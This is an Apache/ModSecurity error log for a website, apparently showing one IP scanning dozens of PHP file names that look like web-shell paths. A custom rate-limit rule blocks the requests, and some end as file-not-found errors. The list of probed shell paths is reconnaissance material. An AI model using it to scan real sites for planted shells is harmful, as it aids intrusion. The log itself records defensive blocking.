[Fri Apr 24 02:17:39.403218 2026] [:error] [pid 43083:tid 43098] [client 74.234.74.247:1910] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aepiQzC5hrvNXosL83Kx-AAAAM0"]
[Fri Apr 24 02:17:39.916291 2026] [:error] [pid 42971:tid 42991] [client 74.234.74.247:1932] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aepiQzEP2_5RswrH8bFUNAAAAAU"]
[Fri Apr 24 02:17:40.461358 2026] [:error] [pid 42971:tid 43000] [client 74.234.74.247:1781] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aepiRDEP2_5RswrH8bFUNgAAAA4"]
[Fri Apr 24 02:17:40.989340 2026] [:error] [pid 64967:tid 64981] [client 74.234.74.247:2019] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aepiRIAV4GfOOdX8QzqcEwAAAYw"]
[Fri Apr 24 02:17:41.596773 2026] [:error] [pid 42972:tid 43019] [client 74.234.74.247:1874] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aepiRcOAb-3sOknsk4fMWAAAAEM"]
[Fri Apr 24 02:17:42.102854 2026] [:error] [pid 65000:tid 65041] [client 74.234.74.247:1868] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aepiRr6vRb9j6psK2ZaNBQAAAgg"]
[Fri Apr 24 02:17:43.639087 2026] [:error] [pid 42973:tid 43065] [client 74.234.74.247:1862] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aepiR26I0QqmmmLTHE2KwQAAAJY"]
[Fri Apr 24 02:17:44.185380 2026] [:error] [pid 65000:tid 65041] [client 74.234.74.247:1915] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aepiSL6vRb9j6psK2ZaNEgAAAgg"]
[Fri Apr 24 02:17:44.725251 2026] [:error] [pid 65000:tid 65052] [client 74.234.74.247:1956] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aepiSL6vRb9j6psK2ZaNGAAAAhM"]
[Fri Apr 24 02:17:45.276091 2026] [:error] [pid 65000:tid 65057] [client 74.234.74.247:2022] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "aepiSb6vRb9j6psK2ZaNHAAAAhg"]
[Fri Apr 24 02:17:45.849497 2026] [:error] [pid 59700:tid 59721] [client 74.234.74.247:1887] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "aepiSZXyGZJFeAIDWtl8jgAAAVM"]
[Fri Apr 24 02:17:46.369961 2026] [:error] [pid 43083:tid 43104] [client 74.234.74.247:1972] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "aepiSjC5hrvNXosL83Kx-wAAANM"]
[Fri Apr 24 02:17:46.881476 2026] [:error] [pid 64998:tid 65008] [client 74.234.74.247:1890] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "aepiSoV5EysYcTLjmwhAWQAAAcY"]
[Fri Apr 24 02:17:47.433248 2026] [:error] [pid 64998:tid 65021] [client 74.234.74.247:1921] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aepiS4V5EysYcTLjmwhAWgAAAdM"]
[Fri Apr 24 02:17:47.984386 2026] [:error] [pid 64998:tid 65020] [client 74.234.74.247:1884] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aepiS4V5EysYcTLjmwhAXgAAAdI"]
[Fri Apr 24 02:17:48.522762 2026] [:error] [pid 64998:tid 65018] [client 74.234.74.247:1869] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aepiTIV5EysYcTLjmwhAYwAAAdA"]
[Fri Apr 24 02:17:49.060725 2026] [:error] [pid 42972:tid 43039] [client 74.234.74.247:1800] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aepiTcOAb-3sOknsk4fMXgAAAFc"]
[Fri Apr 24 02:17:49.616326 2026] [:error] [pid 64998:tid 65003] [client 74.234.74.247:1904] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aepiTYV5EysYcTLjmwhAawAAAcE"]
[Fri Apr 24 02:17:50.172133 2026] [:error] [pid 65000:tid 65030] [client 74.234.74.247:1946] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aepiTr6vRb9j6psK2ZaNKwAAAgE"]
[Fri Apr 24 02:17:50.717879 2026] [:error] [pid 59700:tid 59707] [client 74.234.74.247:1896] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aepiTpXyGZJFeAIDWtl8kgAAAUU"]
[Fri Apr 24 02:17:51.257408 2026] [:error] [pid 64998:tid 65011] [client 74.234.74.247:1882] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aepiT4V5EysYcTLjmwhAcgAAAck"]
[Fri Apr 24 02:17:51.796882 2026] [:error] [pid 42972:tid 43029] [client 74.234.74.247:1871] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "aepiT8OAb-3sOknsk4fMYAAAAE0"]
[Fri Apr 24 02:17:52.371218 2026] [:error] [pid 64998:tid 65013] [client 74.234.74.247:1908] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "aepiUIV5EysYcTLjmwhAdgAAAcs"]
[Fri Apr 24 02:17:52.999850 2026] [:error] [pid 42971:tid 43010] [client 74.234.74.247:1909] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "aepiUDEP2_5RswrH8bFUSAAAABg"]
[Fri Apr 24 02:17:53.567749 2026] [:error] [pid 42972:tid 43016] [client 74.234.74.247:1891] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "aepiUcOAb-3sOknsk4fMYgAAAEA"]
[Fri Apr 24 02:17:54.084572 2026] [:error] [pid 42972:tid 43032] [client 74.234.74.247:1804] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aepiUsOAb-3sOknsk4fMaQAAAFA"]
[Fri Apr 24 02:17:54.756779 2026] [:error] [pid 42972:tid 43028] [client 74.234.74.247:1950] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aepiUsOAb-3sOknsk4fMbgAAAEw"]
[Fri Apr 24 02:17:55.410632 2026] [:error] [pid 42972:tid 43033] [client 74.234.74.247:1803] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aepiU8OAb-3sOknsk4fMcwAAAFE"]
[Fri Apr 24 02:17:55.928777 2026] [:error] [pid 64998:tid 65011] [client 74.234.74.247:1830] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aepiU4V5EysYcTLjmwhAfAAAAck"]
[Fri Apr 24 02:17:56.493786 2026] [:error] [pid 64998:tid 65018] [client 74.234.74.247:1927] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aepiVIV5EysYcTLjmwhAgQAAAdA"]
[Fri Apr 24 02:17:57.083046 2026] [:error] [pid 64998:tid 65017] [client 74.234.74.247:2037] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aepiVYV5EysYcTLjmwhAhgAAAc8"]
[Fri Apr 24 02:17:57.622143 2026] [:error] [pid 64998:tid 65021] [client 74.234.74.247:1798] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aepiVYV5EysYcTLjmwhAiQAAAdM"]
[Fri Apr 24 02:17:58.202033 2026] [:error] [pid 65000:tid 65043] [client 74.234.74.247:1964] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aepiVr6vRb9j6psK2ZaNPAAAAgo"]
[Fri Apr 24 02:17:58.859292 2026] [:error] [pid 64998:tid 65019] [client 74.234.74.247:6187] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "aepiVoV5EysYcTLjmwhAkwAAAdE"]
[Fri Apr 24 02:17:59.411935 2026] [:error] [pid 43083:tid 43104] [client 74.234.74.247:1901] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "aepiVzC5hrvNXosL83KyCwAAANM"]
[Fri Apr 24 02:17:59.985955 2026] [:error] [pid 43083:tid 43092] [client 74.234.74.247:1969] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "aepiVzC5hrvNXosL83KyDAAAAMc"]
[Fri Apr 24 02:18:00.604553 2026] [:error] [pid 42972:tid 43030] [client 74.234.74.247:1982] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "aepiWMOAb-3sOknsk4fMegAAAE4"]
[Fri Apr 24 02:18:01.281292 2026] [:error] [pid 65000:tid 65037] [client 74.234.74.247:1895] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vx.php"] [unique_id "aepiWb6vRb9j6psK2ZaNRAAAAgQ"]
[Fri Apr 24 02:18:01.852084 2026] [:error] [pid 25635:tid 25660] [client 74.234.74.247:2024] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vx.php"] [unique_id "aepiWcRxv6UsgRGKB3JTxAAAARU"]
[Fri Apr 24 02:18:03.397502 2026] [:error] [pid 64998:tid 65014] [client 74.234.74.247:1959] File does not exist: /usr/local/apache/htdocs/suspended-page/vx.php
[Fri Apr 24 02:18:03.676011 2026] [:error] [pid 64998:tid 65024] [client 74.234.74.247:1959] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Fri Apr 24 02:18:04.220567 2026] [:error] [pid 64998:tid 65018] [client 74.234.74.247:1959] File does not exist: /usr/local/apache/htdocs/suspended-page/sbhu.php
[Fri Apr 24 02:18:04.490984 2026] [:error] [pid 64998:tid 65019] [client 74.234.74.247:1959] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Fri Apr 24 02:18:05.298444 2026] [:error] [pid 64998:tid 65003] [client 74.234.74.247:1959] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Fri Apr 24 02:18:05.574354 2026] [:error] [pid 64998:tid 65018] [client 74.234.74.247:1959] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Fri Apr 24 02:18:05.842794 2026] [:error] [pid 64998:tid 65019] [client 74.234.74.247:1959] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Fri Apr 24 02:18:06.111044 2026] [:error] [pid 64998:tid 65014] [client 74.234.74.247:1959] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Fri Apr 24 02:18:06.376173 2026] [:error] [pid 64998:tid 65026] [client 74.234.74.247:1959] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aepiXoV5EysYcTLjmwhAvwAAAdg"]
[Fri Apr 24 02:18:06.886639 2026] [:error] [pid 42973:tid 43059] [client 74.234.74.247:1893] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aepiXm6I0QqmmmLTHE2KxgAAAJA"]
[Fri Apr 24 02:18:07.416842 2026] [:error] [pid 64998:tid 65003] [client 74.234.74.247:1836] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aepiX4V5EysYcTLjmwhAwAAAAcE"]
[Fri Apr 24 02:18:07.980507 2026] [:error] [pid 65000:tid 65042] [client 74.234.74.247:1812] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aepiX76vRb9j6psK2ZaNXAAAAgk"]
[Fri Apr 24 02:18:08.607759 2026] [:error] [pid 65000:tid 65052] [client 74.234.74.247:1808] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aepiYL6vRb9j6psK2ZaNYAAAAhM"]
[Fri Apr 24 02:18:09.149896 2026] [:error] [pid 65000:tid 65037] [client 74.234.74.247:1960] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aepiYb6vRb9j6psK2ZaNZgAAAgQ"]
[Fri Apr 24 02:18:09.672436 2026] [:error] [pid 65000:tid 65044] [client 74.234.74.247:1971] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aepiYb6vRb9j6psK2ZaNagAAAgs"]
[Fri Apr 24 02:18:10.223291 2026] [:error] [pid 42973:tid 43058] [client 74.234.74.247:1806] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aepiYm6I0QqmmmLTHE2KygAAAI8"]
[Fri Apr 24 02:18:10.758167 2026] [:error] [pid 42973:tid 43061] [client 74.234.74.247:1961] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fff.php"] [unique_id "aepiYm6I0QqmmmLTHE2KywAAAJI"]
[Fri Apr 24 02:18:11.885361 2026] [:error] [pid 65000:tid 65048] [client 74.234.74.247:1916] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fff.php"] [unique_id "aepiY76vRb9j6psK2ZaNeAAAAg8"]
[Fri Apr 24 02:18:12.398707 2026] [:error] [pid 42973:tid 43057] [client 74.234.74.247:2018] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fff.php"] [unique_id "aepiZG6I0QqmmmLTHE2KzgAAAI4"]
[Fri Apr 24 02:18:12.933549 2026] [:error] [pid 42973:tid 43051] [client 74.234.74.247:1902] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fff.php"] [unique_id "aepiZG6I0QqmmmLTHE2KzwAAAIg"]
[Fri Apr 24 02:18:13.461833 2026] [:error] [pid 65000:tid 65031] [client 74.234.74.247:2039] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aepiZb6vRb9j6psK2ZaNfwAAAgI"]
[Fri Apr 24 02:18:14.032577 2026] [:error] [pid 59700:tid 59724] [client 74.234.74.247:1876] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aepiZpXyGZJFeAIDWtl8owAAAVY"]
